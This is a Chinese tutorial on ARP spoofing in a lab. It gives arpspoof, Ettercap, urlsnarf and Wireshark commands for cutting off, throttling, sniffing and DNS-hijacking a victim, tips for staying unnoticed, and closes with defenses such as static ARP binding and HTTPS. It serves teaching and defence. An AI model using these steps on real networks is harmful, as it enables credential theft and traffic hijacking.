【红队入侵】ARP欺骗攻击与防御

一、ARP原理

1、ARP一些操作:

1
2
3
4
arp查看:arp -a命令
arp删除:arp -d 139.35.255.255
tcp抓取模块网卡的所有arp请求:tcpdump -i eth0 -nn arp //eth0是名卡的名称。
tcp抓取指定ip 的请求:tcpdump -i eth0 -nn arp and host IP

2、ARP协议工作原理

  1. 什么是ARP:地址解析原理:即ARP,是根据IP地址获取物理地址的一个TCP/IP协议。
  2. 工作原理:ARP协议规定,每一台极端及都需要一个ARP表,用来保存IP地址和MAC地址的映射关系。
    访问IP地址的时候就去查ARP表,从而找到对应的MAC地址。
    如果ARP表中匹配不到,就会使用广播的方式发送一个ARP请求 ,目标主机收到请求之后会使用单播的方式返回一个ARP相应,告知自己的MAC地址 。
    拿到MAC地址后,会将映射关系缓存到ARP表,而后传输数据到数据链路层进行解析转换。
  3. ARP协议的作用:网络中的数据传输所依赖的是MAC地址而不是IP地址,ARP协议负责将IP地址转换为MAC地址。ARP协议的主要工作是就是建立、查询、更新、删除ARP表项。
  4. ARP查看:arp -a所有的接口都是一个网卡。通过ipconfig可以查看有多少张网卡,没有开的网卡在arp中没有接口。

3、ARP工作流程:

通过ip -a可以查看到这块网卡的MAC地址

1
2
3
4
5
6
7
8
9
10
11
1、先查一下该机器有没有ip:192.168.1.13的mac地址
arp -a
如果有就先删除
arp -d 192.168.1.13
2、在centos7上抓包
tcpdump -i eth0 -nn arp
或者
tcpdump -i eth0 -nn arp and host 192.168.1.13
3、ping以下这个IP
ping 192.168.1.13
4、查看抓包结果

二、ARP断网攻击攻击

1、arp断网攻击原理:

向目标主机不断的发送ARP报文,然后将其报文中的网关Mac地址设置为攻击机的mac地址。之后目标机器想访问网络发送数据包时,都会发送到攻击机,然后攻击机只需要做一个丢弃数据包的命令的命令,就可以断掉目标主机的网络。

2、Arpspoof介绍(kali自带)

arpspoof是ARP欺骗工具,攻击者通过毒化受害者ARP缓存,将网关MAC地址替换为攻击者的的MAC地址
从而截取受害者发送和收到的数据包,可获取受害者账户、密码等。
命令使用:

1
2
3
4
5
6
arpspoof -i [interface] -c [own | both] -t [target] [-r] host
-i :指定网卡,后面interface是网卡的名称
-c :攻击机IP
-t :目标机器的IP
-r :网关IP
如:arpspoof -i eth0 -r 192.168.1.1 -t 192.168.1.13

3、攻击流程:

1、条件 :只要同处在同一个局域网中就可以?(两台机器能ping通,同时看一下arp -a | findstr 网关IP)
2、kali进行断网攻击:arpspoof -i 网卡名称 -r 网关IP -t 目标机器的IP
3、win10查看网络连接和kali的网络连接
4、win10查看此时arp表
5、停止攻击:在kali中进行ctrl+C进行退出。

4、ARP断网攻击的深入理解

kali攻击时:kali 不停的告诉win10网关的MAC地址变成了kali的MAC地址
kali 不停的告诉网关 win10的MAC地址变成了新的kali的MAC地址

三、ARP攻击-urlsnarf流量攻击和分析

kali数据包转发:使得受害机察觉不到自己被攻击,出于安全考虑,linux系统默认是进制数据包转发的。所谓转发即当主机拥有多于一块的网卡时,其中一块收到数据包,根据数据包的目的ip地址将数据包发往本机的另一块网卡,该网卡根据路由表继续发送数据包。这通常是路由器所要实现的功能。我们需要手动开启转发功能。

1、如何开启通信转发?

kali里有个/proc/sys/net/ipv4/ip_forward配置文件
其默认是0禁止端口转发,将其改成1开启端口转发。

2、开启转发步骤

1
2
3
4
5
6
7
8
9
1、查看当前时候开启了端口转发
cat /proc/sys/net/ipv4/ip_forward
2、开启通信转发的命令
echo 1 >> /proc/sys/net/ipv4/ip_forward //将1写入到后面的这个文件中,关闭就将0进行写入就行。
3、使用arpspoof发起ARP攻击
arpspoof -i eth0 -r 192.168.1.1 -t 192.168.1.11
4、win10验证是否转发成功
在没开启端口转发之前进行ARP断网攻击,受害机是不能上网的。
在开启端口转发之后发起ARP断网攻击,受害机依然能上网。

3、dsniff工具:

1
2
3
4
5
6
7
8
9
1、工具介绍:Dsniff是一个基于Unix系统网络嗅探工具,工具包含两个我们需要的两个工具包,arpspoof和urlsnarf。
2、安装方法:apt-get install dsniff
3、urlsnarf工具介绍
urlsnarf -h
urlsnarf [-n] [-i interface | -p pcapfile] [-v] pattern [expression]
-n :表示不反查主机名
-iinterface 网卡接口名
-ppattern 表示对过滤的内容使用的正则表达式
-v :表示取相反,expression是过滤语法,和tcpdump的相同,请参考tcpdump

4、url 流量分析

1
2
3
4
5
6
7
8
9
10
11
12
13
1、概念:URL流量嗅探操作非常类似中间人攻击,通过目标主机将路由流量注入到因特网。是通过ARP注入实现的。
url嗅探能够实时跟踪电脑中的数据流量信息,并且分析出它的类型和去向。从而获取你的上网信息。
2、攻击流程:
1、开启流量转发
echo 1 >> /proc/sys/net/ipv4/ip_forward
2、开启ARP攻击
arpspoof -i eth0 -r 192.168.1.1 -t 192.168.1.136
3、捕获目标计算机的url
urlsnarf -i eth0
4、靶机上网,访问网站
1、http://www.kangda.cn/#/user/login?redirect=http%3A%2F%2Fwww.kangda.cn....
2、http://blog.tianya.cn/
5、kali分析用户请求

四、ARP-wireshark获取用户数据

Wireshark工具介绍:kali自带

1、下载官网:wireshark.org

是非常流行的网络封装包分析软件
可以截取各种网络封包,显示网络封包的详细信息
可以在windows,linux和mac Os上运行。

2、ARP攻击截获密码的步骤

1
2
3
4
5
6
1、开启数据包转发:echo 1 >> /proc/sys/net/ipv4/ip_forward
2、开启ARP工具:arpspoof -i eth0 -r 192.168.1.1 -t 192.168.1.136
3、启动wireshark:wireshark
4、输入过滤条件:(ip.src==192.168.1.136 or ip.dst==192.168.1.136and tcp.port==80 and http [//抓取由192.168.136发出的和192.168.1.136接收的由80端口经过的http请求包](https://xn--192-gx3eu78dcrz.168.xn--136192-yg3jq5je0bt89o.168.1.xn--13680http-8p6of0f9w4f7ie2z3a6t4a7oeea074rt0qz75dpzq/)。(192.168.1.136是靶机)
5、靶机登陆后台系统:http://mng.517628.com/login.phphttp://vmims.eguagua.cn/#/Login
6、wireshark寻找用户的登陆信息。

3、wireshahrk过滤命令 讲解

1
2
3
4
5
6
7
8
9
10
11
1、过滤源ip、目的ip
ip.dst==192.168.1.136 //找目的地址
ip.src==192.168.1.136 //找源地址
2、端口过滤
tcp.port==80 //源端口和目的端口都过滤
tcp.dstport==80 //只过滤目的端口
tcp.srcport==80 //只过滤源端口
3、协议过滤
http、tcp、ssh
4、http.request.method="post" and tcp.port==80/443 //过滤post请求和端口号是80或者443的。
5、通过Wireshark进行arp过滤可以查看自己的电脑有没有被别人控制一直在发arp信息。看发送自己的MAC地址是不是自己的。如果不是自己的可能表示就被攻击了。

4、注意:

1、只能抓取http协议的,https协议的需要有证书和解密的key
2、http走的是80端口,https走的是443端口。
3、通过Wireshark进行arp过滤可以查看自己的电脑有没有被别人控制一直在发arp信息。看发送自己的MAC地址是不是自己的。如果不是自己的可能表示就被攻击了。

五、ARP-Ettercap-截获流量信息

1、EtterCap-劫持用户流量工具介绍:

root下【ettercap -G】打开
EtterCap介绍:是一个基于ARP地址欺骗方式的网络嗅探工具,主要适用于交换局域网络。借助于EtterCap嗅探软件,渗透测试人员可以检测网络内明文数据通讯的安全性,
及时采取措施,避免敏感的用户名/密码等数据以明文的方式进行传输。
EtterCap几乎是每个渗透测试人员必备的工具之一。

2、Ettercap利用软件界面攻击和介绍

1、启动界面:是选择网卡和是否使用桥接模式进行二选一

1
2
3
4
5
sniffing at startup:开启嗅探模式
primary interface:选择网卡
Bridged sniffing:是否开启桥接模式
Bridged interface:桥接模式下的网卡
配置完成之后,点击上方的【对勾】即可完成配置

2、中间人攻击菜单

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
1、从左到右依次是:开始/暂停、扫描主机、主机列表、中间人攻击菜单、开始/停止攻击、更多选项
2、中间人攻击菜单:
ARP poisoning:ARP攻击
DNP poisoning:DNP攻击
ICMP redirect:icmp重定向
Port stealing:端口欺骗
DHCP spoofing:DHCP欺骗
stop MITM:停止攻击
SSL intercept:ssl嗅探
3、更多选项
Targets:攻击列表
Hosts:显示主机列表
Filters:载入二进制脚本
Plugins:插件
Logging:日志
4、hosts选项
Hosts list:扫描到的主机列表
Enable ipv6 scan:扫描ipv6地址
Scan for hosts:扫描主机
load hosts form file:从外部文件载入主机列表
Save hosts to file:保存主机列表到文件
5、Targets选项
Current targets:正在攻击的列表
Select targets::选择攻击列表
Portocol:攻击协议
Reverse matching:匹配规则
Wipe targets:擦除攻击
6、View选项
Connections:连接信息(跟哪个主机的哪个端口连着)
Profiles:IP地址信息(属于哪个网站什么的)
Statistics:统计信息(对一些包的信息)

3、ARP截获用户信息攻击步骤:

1
2
3
4
5
6
7
8
9
10
11
12
13
1、启动ettercap:
ettercap -G
2、点击右上角的对勾开始扫描
需要先进行网卡设置,下边是选用桥接模式
通过【arp -a | findstr 网关ip】可以查看靶机的arp列表。
3、点击左上角的三个杠查看软件查询到的主机列表(不会实时刷新,需要进行重新点击三杠进行更新列表)
4、然后将网关加入到Target1、将目标靶机加入到Target2
可以在右上角的三个点更多中进行当前Target查看
5、在右上角的地球的按钮是攻击列表,就可以进行对靶机的抓包。
通过【arp -a | find str 192.168.1.1】来查看是否毒化
6、右边的目标是停止按钮,左边有暂停扫描按钮。先停止ARP攻击,再停止数据转发。
注意:想停止攻击的时候,要先进行右边的停止按钮,在进行左边的暂停扫描按钮。这样靶机是不会有任何的察觉的。
如果先进行左边的暂停扫描,就相当于发起了ARP断网攻击,会被对方察觉。

4、Ettercap利用命令行攻击

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
1、运行命令讲解:好像不需要开启端口转发
ettercap -i -eth0 -Tq -M arp:remote /ip(host)//net gatmask/ >>b.txt
T:指的是text文本模式
q:指的是安静模式执行这个命令
i:后面跟的是连接局域网的网卡
M:后面跟的是指定使用arp的方式
>>:输出文件
2、攻击命令
攻击:ettercap -Tq -i eth0 -M arp:remote /192.168.110.1(网关IP)// /192.168.110.11// >>b.txt
只会将抓取的包输出到b.txt文件中,不能实时进行数据分析,只能从b.txt文件中进行分析
监听:tail -f b.txt
但是我们可以用这种命令同时的在另一个窗口中进行对b.txt文件进行监听,就可以起到实时监听的效果
升级监听:tail -f b.txt | grep "USER"
或者
tail -f b.txt | grep "CONTENT"
或者
tail -f b.txt | egrep "USER|CONTENT"
停止攻击:ctrl+c
保存监听用户信息文件:就是对日志进行一个保存
cat -n b.txt | egrep "USER|CONTENT" >arp.log
-n:添加行号
egrep:过滤规则
>:输出文件

六、ARP限制网速攻击

1、TC工具介绍

在Linux中,流量控制都是通过TC这个工具来完成的。通常,要对网卡进行流量控制的配置,需要进行如下的步骤:

  1. 为网卡配置一个队列

  2. 在该队列中建立分类

  3. 根据需要建立子队和子分类

  4. 为每个分类建立过滤器

  5. 注意:在TC中使用下列的缩写表示相应的网络延迟:

    1
    2
    3
    4
    时间的计量单位:
    s、sec或者secs 秒
    ms、msec或者msecs 毫秒
    us、usec、usecs或者一个无单位数字 微秒

2、TC命令介绍

1
2
3
4
5
6
7
8
9
10
11
12
13
1、限制网速200ms延时
tc qdisc add eth0 root netem delay 200ms
qdisc:排队时间
add:添加
dev:设备(网卡)
root:root用户身份
netem delay:设置网络延时时间
2、取消限制网速200ms延时
tc qdisc del dev eth0 root netem delay 200ms
del:删除
3、修改网络延时
tc qdisc change dev eth0 root netem delay 300ms
change:修改

3、ARP攻击限制网速的具体步骤

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
1、开启端口转发
cat /proc/sys/net/ipv4/ip_forward //值为0表示没开启流量转发,为1表示开启
echo 1 > /proc/sys/net/ipv4/ip_forward //开启流量转发
2、开启ARP攻击
arpspoof -i eth0 -r 网关IP192.168.1.1 -t 靶机IP192.18.1.136
3、查看靶机当前的网速
https://www.speedtest.cn
4、开启网络延迟限速
tc qdisc add dev eth0 root netem delay 500ms
5、查看限速规则
tc qdisc show
6、查看靶机当前的网速
https://www.speedtest.cn 7、修改网速限制
tc qdisc change dev eth0 root netem delay 800ms //时间越小对网速限制越大,时间越大,限速越大
8、查看限速规则
tc qdisc show
9、查看靶机当前网速
https://www.speedtest.cn
10、取消限制网速200ms延时
tc qdisc del dev eth0 root netem delay 200ms

4、限速原理讲解

1
2
3
4
ARP攻击之前:靶机通过路由器转交给服务器,服务器将数据转交给我们的路由器,再由路由器转交给靶机
ARP攻击之后:靶机将上网请求转发给攻击机,攻击机开启了数据转发,将数据转发给路由器,再由路由器转发给服务器。服务器将数据转发给路由器,路由器转发给攻击机,攻击机再转发给靶机。
限速之前:靶机将数据发送到攻击机,通过队列直接转发到路由器,不耗时。
限速之后:靶机将数据发送到攻击机,需要先在队列中进行500ms的延时排队才能通过

七、ARP-DNS欺骗

1、DNS概念:

DNS称之为域名系统。本地默认占用53端口,它本身的实质上是一个域名和ip的数据库服务器,他要完成的任务就是帮我们把输入的域名转换成ip地址,之后通过ip寻址连接目标服务器。

在我们在浏览器中输入地址之后会:

  1. 第一首先在DNS缓存表中进行寻找,第二在host配置表中进行查找,第三去DNS服务器中进行查找。
  2. 绑定的最近的DNS服务器绑定域名时,服务器会告诉DNS服务器当前绑定的ip是多少。
  3. 如果最近的DNS服务器没有的话,会将这个问题发送到其他的DNS服务器进行询问 。
  4. 然后通过ip地址找到你的MAC地址,通过MAC地址进行通讯。

2、DNS劫持

又称之为域名劫持,将目标的DNS询问请求进行劫持,只能对网关和靶机进行欺骗。

危害:能进行钓鱼等,让靶机询问假网址。

ettercap劫持的原理:局域网劫持,攻击者通过伪装成网关,劫持受害者的网络请求,将网络请求拦截到指定的服务器

3、ARP-DNS常用命令(win)

1
2
3
4
1、查看DNS缓存表:ipconfig /displaydns
2、获取DNS地址:ping www.mashibing.com
3、刷新/删除DNS缓存:ipconfig /flushdns
如果有192等局域网开头的DNS缓存就说明可能被DNS攻击了。

4、ARP-DNS欺骗攻击步骤

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
1、kali开启apache服务(kali自带):service apache2 start
2、访问apache主页查看apache是否开启:浏览器输入本机地址
3、编辑ettercap配置文件:
1、进入cd /etc/ettercap
2、复制原有的配置文件(环境恢复比较方便):cp etter.dns etter.dns1
3、设置dns劫持配置文件:vi /etc/ettercap/etter.dns 在文件最后添加以下内容
* A 192.168.110.12
* PTR 192.168.110.12
www.*.com A 192.168.110.12 //将所有www.*.com这种的也指向192.168.110.12
wq保存
参数
*:代表所有的网站 也可设置某个网站 www.mashibing.com
A:代表钓鱼的ip地址
PTR :常被用于反向地址解析
4、ettercap劫持命令讲解
ettercap -i eth0 -Tq -M arp:remote -P dns_spoof /被攻击者ip// /被攻击者网关//
-i:网卡
-T:文本模式
-q:安静模式
-M:执行mitm攻击
-P:plugin 开始该插件
5、靶机访问以下网站确认是否正确
随便访问一个 如京东
通过ping/dns查看 查看dns是否正确
6、执行劫持命令
ettercap -i eth0 -Tq -M arp:remote -P dns_spoof /192.168.110.11// /192.168.110.1(网关IP)// >> b.txt
进行日志实时分析:tail -f b.txt
一个升级的实时日志分析:tail -f b.txt | grep "USER"
7、注意:对https的网站有可能是拦截不住,是有一定概率的。看访问的页面有没有安全的检测。
8、通过ctrl+c停止劫持。
但是靶机的访问依然有问题,这是因为靶机的dns缓存依旧是错误的,需要ipconfig /flushdns进行依次刷新 。
9、回复kali环境的文件配置
cd /etc/ettercap
cd etter.dns etter.dns2 //将带攻击的保存成dns2
删除攻击文件 :rm etter.dns
将之前复制的那个文件进行恢复:cp etter.dns1 etter.dns //将不带 攻击的dns1复制成dns

八、ARP防御方式

1、ARP攻击的原理

ARP攻击的原理是向网关和靶机不停的发送ARP欺骗报文,而我们的计算机和网关是实时的更新ARP缓存表,从而出现安全漏洞。

防御方法:我们对这种欺骗不相信或者不接受的话,就不会有问题。

可以从两方面下手:
1、让我们的电脑不接受欺骗包
2、及时接收到欺骗的包也不要相信

2、Windows防御

1、安装arp防火墙:如360安全卫士中的流量防火墙。可以追踪攻击者的IP和MAC地址。保护ARP表不受侵害

2、设置静态MAC地址防护

简介 :ARP表MAC地址绑定有动态和静态两种类型。动态会实时更新,不安全;静态是长久生效,不会随时间 或者通知而变化,很安全。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
1、临时绑定,重启之后会失去保护效果(管理员)
先查看网关IP和MAC地址:arp -a | findstr 192.168.1.1
再查看一下本机的网卡
2、查询本地连接的网卡ID号
netsh i i show in
3、临时绑定mac地址,重启失效
netsh -c i i add neighbors ID号(7) 网关ip 网关mac地址 store=active
neighbors:添加邻居地址
store=active:设置为临时绑定
4、临时绑定,永久生效
netsh -c i i add neighbors ID号(7) 网关ip 网关mac地址 store=persistent
store=persistent:永久生效
问题:在使用命令的时候会显示对象已经存在
而通过【arp -d 192.168.1.1】进行的删除是不生效的,不好用
因此用【netsh -c i i delete ne 7】这个7是网卡ID,删除这个网卡的配置

3、Linux防御

1
2
3
4
5
6
7
8
9
10
11
12
1、查询arp 表命令:
好像【arp -a】也可以用,但是Linux中不常用
【ip n】或者用【ip neigh】进行查询
2、临时添加静态地址,重启后失效
arp -s 网关ip 网关mac地址
3、添加静态地址,永久生效
将下面这个添加到rc.local里边,并设置 开机自启执行
vi /etc/rc.local
chmod +x /etc/rc.d/rc.local
添加:
arp -s 192.168.110.1 e4:3a:6e:35:98:00
wq保存

4、路由/网关防护设置

1
2
3
4
5
6
1、开启路由器配置网络
一般是http://网关ip
2、在更多的局域网设置中有一个静态ip地址绑定列表
可以对网关进行静态绑定或执行绑定。
同时还需要对pc端进行一个绑定。
要不然在进行ARP攻击的时候,欺骗不到路由了却能欺骗靶机,也会出问题。

5、Web服务器防御ARP

1
2
3
4
5
6
7
8
web服务防御明文传输泄露用户信息的手段:使用加密协议:https
1、什么是http
超文本传输协议,是一个基于请求与响应,无状态的,应用层的协议,常基于tcp/ip协议传输数据。
2、什么是https
https是身披ssl外壳的 http。https是一种通过计算机网络进行安全通信的传输协议,经过http进行通信,利用SSL/TLS建立全信道,加密数据包。
使用加密传输,不容易被拦截,更加安全。
TLS是传输层加密协议,前身是SSL协议。
https加密通信工作原理:需要用到证书和私钥、公钥。